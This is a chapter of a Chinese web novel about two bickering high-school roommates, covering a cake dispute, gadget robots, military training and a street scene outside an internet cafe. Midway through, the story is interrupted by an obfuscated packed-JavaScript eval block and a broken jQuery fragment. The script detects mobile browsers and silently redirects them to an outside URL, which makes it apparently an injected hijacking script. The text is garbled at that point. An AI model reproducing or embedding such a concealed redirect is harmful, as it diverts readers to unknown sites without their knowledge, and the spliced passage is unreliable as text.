没有你的。
方笑贻决定赔钱了,对他的态度就又回去了,不咸不淡道:“还在店里。”
店个屁,他肯定没去买。
边煦觉得他没诚意,进来就发难:“我现在要吃,你去买。”
方笑贻不想去,也不想惯他这大爷样子:“吃什么吃?你中午没说完就走了,我怎么知道你什么时候要吃?”
“你管我什么时候吃?”边煦听他胡说八道,“你买来就完了。”
“买不来了,店关门了,你非要吃,”方笑贻扬他一眼,“就只有这个。”
说着,他把手边的蛋糕往前一推。
边煦立刻拒绝:“我不吃这个。”
方笑贻心说,拽什么啊,中国人民能吃饱饭也才40年。
但面上却说:“那就没辙了,你只能等明天了。”
可边煦看他却不是没辙的样子,他甚至挺悠闲,还垂眼回到蛋糕上,拿叉勺挑了个蓝莓起来。
那蓝莓是螺髻山的,个大饱满、遍布果粉,品牌就是一种品质。
边煦忽然也眼馋了,刚要说:我不管,你去想办法。
方笑贻又挑着那个蓝莓,扭过头来说:“你要是没事,我建议你赶紧去洗,别熄了灯还一直在里面稀里哗啦的,很……”
烦!
他本来准备脱口的是这个,又怕边煦发神经,上下嘴皮一碰,又换了个词:“吵。”
边煦觉得他就是屁事多。
洗个澡而已,又不是搞装修,能有多吵?
但“洗”字还是忽然点醒了他一件事,那就是:他那个水卡里,没钱了。
这不是个小事,边煦眼神一凝,进来把书往桌角上一搁,转身又出去了。
方笑贻目送到他又忽然消失,再拿眼梢把那书皮一瞟,就看见了上面那本黑色的书名:《算法导论》。
这是什么洋机器书?
方笑贻没见过,不过也没翻他的,只是转身下了椅子,也去柜子里翻了本参考书出来。
明天摸底考试,虽然只考主科,但人家“第一”都在看书,他还有什么理由不努力?
6分钟后,边煦回到寝室,揣着他借来的3张水卡。
然后一进门,他居然看见钱串子,正趴在桌上写辅导题。
那模样竟挺专注认真,脊椎和蝴蝶骨隐隐透出校服,显得背影清瘦伶仃的。
而蛋糕被他推在一边,慕斯就蒯掉了一个小尖,蓝莓也没吃完,不是很爱的样子。
一瞬间,边煦那个针对他的心理,忽然又不是很强烈了。
别人难得干点正事,边煦心想:就赶紧多干点吧。
不然教室里一堆卷王,他天天只惦记着卖东西,搞不好就垫底了。
他进来的时候,方笑贻其实没听见,后面听到翻柜子的动静,才回头看见他在柜子前面。然后边煦翻到衣服,就去洗了,没看他,也没说话。
方笑贻于是蓦然发现,除开那个蛋糕,他在寝室其实还算安分。
然后水声忽然淋了起来。
方笑贻眼皮一紧,连忙又补了一条:啊对,还有洗澡,也烦人。
边煦今天进去早,但又洗到熄灯了才出来。幸好方笑贻忙着刷题,熄灯之前也没空理他。
边煦不想跟他吵架,灯熄了没两下,就关水出来了,因为也洗得差不多了。
方笑贻摸着黑又进去,等再拉开门,边煦已经上去躺下了,但右手举在半空中,拿了个小方块的亮屏在那儿甩。
它也跟着发出了一阵,骂人一样的古怪急促机械音:呜~嗯!歘欻欻歘,miao~嗯!
这又是个怪声音,跟他那个手机铃声一样。
方笑贻不由得又盯了一眼,瞥见它屏上有两个小紫方块的同时,听见它忽然又说了句英语。
“I am feeling sick,叽-嗷!”
边煦又在上面摇,并说:“你sick个屁,赶紧给我定闹钟。”
方笑贻这才看出点门道,他又在玩什么高科技,但不是那个机器人,因为这个方块比机器人头大,而且看轮廓也比机器人短。
方块被他摇得直喘,呼嗯-呼嗯-的,呼完又忽然唱道:祝你.生日.快.乐~
那竟是一阵有点讨好的声音,调子是歌的最后一句。与此同时,屏幕上还掉下来三块东西,它们叠成了一块卡通蛋糕。
方笑贻闻言见状,心里猝不及防地竟微微震了下,有种被陌生人看破隐私的悸动感。
与此同时,边煦又在铺上一吹,说:“你确实有毛病了,日子都给我记错了,要不成了,你下岗。”
说着他放下这个,又从床上拿起了一个屏幕上是俩蓝色方块的,说:“emo1,设闹钟。”
方笑贻:“……”
这是闹钟吗?他到底有多少个这种玩意儿?
还有他叫那东西“下岗”的语气,方笑贻没忍住在黑暗里翘了下嘴角,感觉他神经兮兮的,把硅基生物当人一样。
但他这些东西,方笑贻慢悠悠地爬上床,听着那个什么“emo1”在上面嗯啊哼,心里正在想:还挺会撒娇的。
边煦就又含沙射影地来了一句:“别扭了,快点设。不然一会儿太平洋的暴躁警察又要生气了。”
可他这样一个用水大户,居然好意思说自己暴躁?
不要比脸,方笑贻抬腿就给了他的床板一脚。
“看吧?”边煦一副“我就说”的语气,说完才设了3个闹钟,消停了。
方笑贻还是翻了半天才睡着,入睡之后,他做了个梦。
梦里,他又回到了老家那个桥上,桥下是一条淤满水草的脏水沟,而他站在桥头上,手里拿着2块钱,视野前方,他姐赤身裸体的,正光着脚在满是小碎石粒的乡道上尖叫狂奔。再更远处,是骑着小电瓶的吴建麟……
方笑贻心脏剧烈地一紧,刚要惊醒过来,又听见背后传来了一阵枪声。
然后他回头一看,就见边煦的机器人变成了真人那么大的,手里还端着一杆,实物上根本没有的枪。
它一边逼近,一边指着自己说:“方笑贻,赔蛋糕。”
然后方笑贻才被它一枪打醒,带着一种余悸未消的啼笑皆非。
什么鬼啊,乱七八糟的——
翌日一早,方笑贻还是没有喊他。
但出门之前,边煦已经坐起来了,因为他那个闹钟够坚持不懈,一直怪哼并震动。
方笑贻醒了,倒也不觉得它吵,只在床弦上一敲,说:“今天归你扫地。”
但是边煦没有扫,他起来迟了,自己不迟到都不错了,而且寝室里也挺干净的。方笑贻自己把那个蛋糕袋子提走了,垃圾桶里连个纸屑都没有。
7点35分,边煦一进教室,教室里已经大变了样。
全班的桌子已然拉开,第一组甚至挪进了走廊,方笑贻就成了看后门的。
但他人不在后门口,边煦进门的时候,看见他坐在刘丞丞旁边,那板凳应该是自己那个。边煦靠过去,听见这两人嘀了咕噜地说。
刘丞丞:“煦子要吃,我给他拿就行了,他在我家冲了年卡的。”
方笑贻:“他有年卡,还叫我买,就是整我,我不花钱这事过不去。”
“哈哈哈不至于,他真烦你,你买的东西他才不吃。”
“瞎拽,受不了。”
边煦闻言,立刻过去踢了他坐的板凳一脚:“起来。”
上午的考试紧锣密鼓,方笑贻中午回到寝室,才得空加上刘丞丞的微信。
只是不巧,他姐店里缺材料,今天没有边煦要的那款。
为防边煦不信,方笑贻还给他看了聊天截图,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232432|165051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然后问他:“你是非要这个,还是换一款也行?”
边煦眼皮一垂,却先看见了他的id,[重生之中国首富],嘴角登时就有点想抽,感觉他还真是人设稳固。然后刘丞丞也是个败家子,擅作主张就给了他打了5折。
不过边煦没找事,只说:“就要这个。”
方笑贻叫他等明天,说完又因为没地方坐,回床上趴着刷题去了。
边煦撩眼瞥了一下,发现他做的册子叫《小题狂做-巅峰版》,然后他大概刷癫狂了,也不跟自己说话了。
两人今天就和平而哑巴地共处了一天。
到了晚上,自习课上,高蓬宣布了一下明天军训的内容和纪律,就早早下课了。
3号军训,学校开始封闭,为期3天。
学校门口一堆开车来送东西的,边煦家里也来人了,还不止一波,他就丢了两包丢西在桌上。
方笑贻大概瞟了下,有防晒霜、棒球帽、鱼油、冰丝袖套……还有一个不锈钢的保温桶,里头装的是绿豆汤。
而方笑贻什么都没有,不过他也没什么感觉,一直都这样,就习惯了。
对此,他的同桌杨妙也是。
3天下来,杨妙晒得比方笑贻还黑,不过同桌了几天,她熟稔地胆大了些,还主动了问他:“你们放学就回家吗?我跟你们一起走,行吗?”
她在这里也挺孤独,方笑贻点头就答应了。
他回去收东西,才进寝室楼,边煦就背着一个包出来,碰到时看了他一眼,然后脚步匆匆地走了。
方笑贻也没管他,兀自卷了铺盖,到公交站跟谭威和杨妙碰上头,接着搭车回去了。
回到家,他侄儿高兴坏了,抱着他的大腿一直呵呵呵,跟边煦那个进入了循环程序的机器人似的。
方笑贻就把他拖进厨房,问在理菜的王玉华:“妈,这几天,有什么不对劲的吗?”
王玉华今年42岁,但两鬓已霜白,她理一头短发,个子中等偏瘦。
“没有,都正常,”她在儿子右边小臂上按了一下,“你别担心。”
方笑贻又抄起孩子,去了天福超市。
老王叔还在听他的评弹,也摇头晃脑地说:“陌生人肯定有啊,但可疑的没有。”
方笑贻才松了一口莫名绷着的气,第二天一早,就去了寄存店。
寄存店是他跟王玉华,摸索商量过后,在网吧街开的一个业务庞杂的小门面。
它是租来的,在天堂河网吧斜对面,经营行李寄存、日用杂货零卖,也应季节,卖点豆浆豆腐脑、醪糟、切片西瓜什么的。
王玉华腰不好,以前苦力做多,把腰做废了,方笑贻放假就会来帮她看店。
而这个周六,似乎和之前也没什么不同,日光灼晒,买烟买西瓜的,面孔也还是那些。
除了到下午2点41分,一辆白色的丰田埃尔法驶过门口,停到了天堂河那个侧开的室外楼梯外面,然后一个黑衣服的女人冲下车,蹭蹭蹭地上了楼梯。
在她背后,一个西装革履的男中年紧跟而上。然后司机又从驾驶位这边下来,也跑了上去。
方笑贻坐在门口吃西瓜,原本只是随便看到他们。因为这会正热,路上没几个人,他也没什么别的可看。
只是等他们再出来,进去的3个,就变成了4个。
只见那女人拉了个新角色出来,他高个子,背对着路,穿件蓝条纹短袖开衫。两人拉扯之间,他伸手把那女的一甩,脱开的右手腕上有一个黑色的硅胶手环。
方笑贻瞳孔一凝,正莫名感觉熟悉,就见那女人扬起巴掌,一下把他的脸扇得转了过来。
好吧。
方笑贻看到他的侧脸,手里的瓜忽然就变抽象了。
星期六,他在路这边吃西瓜,而他的室友在路那边,被人抽了个大耳瓜——